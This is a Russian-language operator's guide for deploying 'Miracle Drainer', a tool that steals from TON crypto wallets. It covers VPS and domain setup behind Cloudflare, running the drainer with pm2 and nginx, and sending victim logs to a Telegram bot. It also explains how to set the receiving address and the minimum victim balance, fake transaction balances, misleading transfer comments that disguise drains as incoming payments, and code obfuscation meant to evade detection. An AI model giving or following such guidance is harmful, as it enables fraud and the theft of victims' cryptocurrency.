July 21

Miracle Drainer

Установка дрейнера:

VPS

  1. Качаем FileZila.
  2. Покупаем VPS дедик. ( рекомендую powervps ).
    2.1 Проходим регистрацию.
    2.2 Заходим в личный кабинет -> главная -> заказать услугу -> виртуальный сервер -> заказать. ( Можно брать даже самый дешевый ).
  3. 3.1. Ничего не трогаем.

3.2. Вводим доменное имя.

3.3. Обязательно выбираем Ubuntu 22.4.

3.4. Оплачиваем и ждем когда дедик встанет.

После оплаты возможно будет проверка аккаунта ( просто ждите )

4. Далее переходим в заказы выбираем свой дедик -> инструкция и сохраняем

ip, пользователя и пароль (если вы его забыли можете сбросить).

Domain

    1. Покупаем домен (если вы работает через рассылку тг, можете брать абсолютно любой домен) рекомендую использовать этот сервис.
    2. После покупки заходим: мои домены -> вашдомен.com -> замена NS-записей.
    3. Регаем cloudflare.com, после: account home -> starred ( Go to websites ) -> add a site -> вводите свой домен который купили ранее -> confirm plan -> quick scan -> continue -> копируете NS которые у вас появились ниже и вставляете их в бота где купили домен -> замена NS-записей -> возвращаетесь в cloudflare и жмем continue -> continue.
    4. Заходите в DNS выбираете свой домен и жмете add record
что должно получиться

5. Далее заходим -> SSL/TLS -> подвкладка Overview и жмем Flexible.

6. После caching -> подвкладка Cache Rules.

7. Create Rule -> имя любое -> Edit expression вписываем true -> жмем на

Bypass cache -> Deploy

8. После caching -> подвкладка Configuration и жмем Purge Everything.

Если у вас ошибка: Sorry, you do not have access to purge cache for that zone id or that zone id is invalid (Code: 1095).

значит домен еще не подключился ПРОСТО ЖДЕМ.

НАСТРОЙКА VPS

Подключаемся на дедик через SSH.

  1. Открываем cmd от им. администратора.
  2. Прописываем: ssh root@ip_vps_сервера, если вы все сделали правильно, то у вас попросят пароль от сервера, вставляем его нажатием ПКМ -> enter.
  3. Далее по очереди вписываем команды, ОБЯЗАТЕЛЬНО ЖДЕМ ИХ ВЫПОЛНЕНИЕ, а после вписываем следующую.
wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm
nvm install --lts
npm install pm2 -g
apt-get update
apt-get install nginx ufw
ufw allow OpenSSH
ufw allow 80
ufw enable

4. Далее кидаем только ПАПКИ которые вы получили от меня, закидываем их на сервер в папку /root.

5. Опять вводим команды:

cd ./tondrain
npm i
pm2 start ./index.js --name front
cd ../tondrain_backend
npm i
pm2 start ./index.js --name back

6. Настройка nginx

  1. Открываем FileZila
  2. Подключаемся к серверу
  3. Закидываем файл default в папку /etc/nginx/sites-enabled (С ЗАМЕНОЙ)
  4. Прописываем команду в ssh
nginx -s reload

Настройка файлов дрейнера

Отстук:

  1. Создаем TG бота и сохраняем его токен.
  2. Создаем TG канал и добавляем своего бота и myidbot ( ОБЯЗАТЕЛЬНО ДАЕМ ИМ ПРАВА АДМИНИСТРАТОРА ).
  3. Далее прописываем эту команду в наш чат /getgroupid@myidbot.
  4. Бот ДОЛЖЕН ВЫДАТЬ supergroup ID
  5. Открываем файл tondrainer\tondrain_backend\.env в BOT_TOKEN вставляем токен бота LOGS_CHANNEL вставляем ID супер группы ( ПОРТ НЕ ТРОГАЕМ ).
  6. После любых изменений в папке tondrain_backend вводим эту команду в ssh:
 pm2 restart back
 nginx -s reload

Смена адреса:

  1. Открываем .env и меняем значение после ADDRESS=
  2. После депните на адрес 1 ton и перевидите его обратно на свой адрес ( это нужно, что бы активировать кошелек ).

Настройка минимального баланса:

  1. Открываете tondrainer\tondrain\public\index.html.
  2. Ищем строчку window.MIN_USD = 10; (10 = минимальный баланс для списывания)

Настройка баланса фейк транзакции:

balance: "100000000000", = 100к
balance: "10000000000", = 10к
balance: "1000000000", = 1к
balance: "100000000", = 100

Настройка комиссии:

  • Если вам надо настроить комиссию, то в main.js (файл дрейнера) есть настройки комиссии:
  • Нужно будет изменить комиссию за отправку. Актуальные значения:
    NFT = 1.1TON = 1100000000n
    JETTON = 0.06 TON = 60000000n

После любых изменений в папке tondrainer вводим эти команды в ssh:

 pm2 restart front
 nginx -s reload

Как обфусцировать код:

  1. Заходим на этот сайт
  2. Удаляем код ниже. ( который появляется на сайте )
  3. Вставляете код с main.js.
  4. Нажимаем Protect.
  5. ОБЯЗАТЕЛЬНО УДАЛЯЕМ 1УЮ СТРОЧКУ - // Job ID: ajaWbanbmdasd3d.
  6. Сохраняем наш файл и кидаем его в tondrainer\tondrain\public.
  7. Main.js НЕобфусцированный сохраняем к себе куда угодно.

Куда сохранять ленд:

  1. Все файлы дрейнера находятся тут tondrainer\tondrain\public
  2. ОБЯЗАТЕЛЬНО кидайте main.js уже обфусцированный!

Делаем кастомный коннект:

  1. Открывем tondrainer\tondrain\public\manifest.
  2. Редактируем под себя.

Делаем кастомный комментарий к переводу.

Открываем tondrainer\tondrain_backend\tonUtils.js

  1. Комментарий у транзакции на отправку. В 1 пункте это сумма транзакции умножить на 2
    (Пример: сумма отправки транзакции - 100 ton, комментарий будет "+200 TON")
  2. В 2 пункте вместо TON можно написать любой текст.
  3. Комментарий для НФТ. По умолчанию стоит комментарий на отправку нормальной NFT: "+500 TON", у спам (скам) NFT не будет комментария, т.к система пометила данную нфт как СПАМ
  4. После всех изменений вписываем команду в ssh:
pm2 restart back

Остальное я трогать не советую.

Пример кастомного коммета

Наш канал: https://t.me/miracle_ton
(остальное фейки).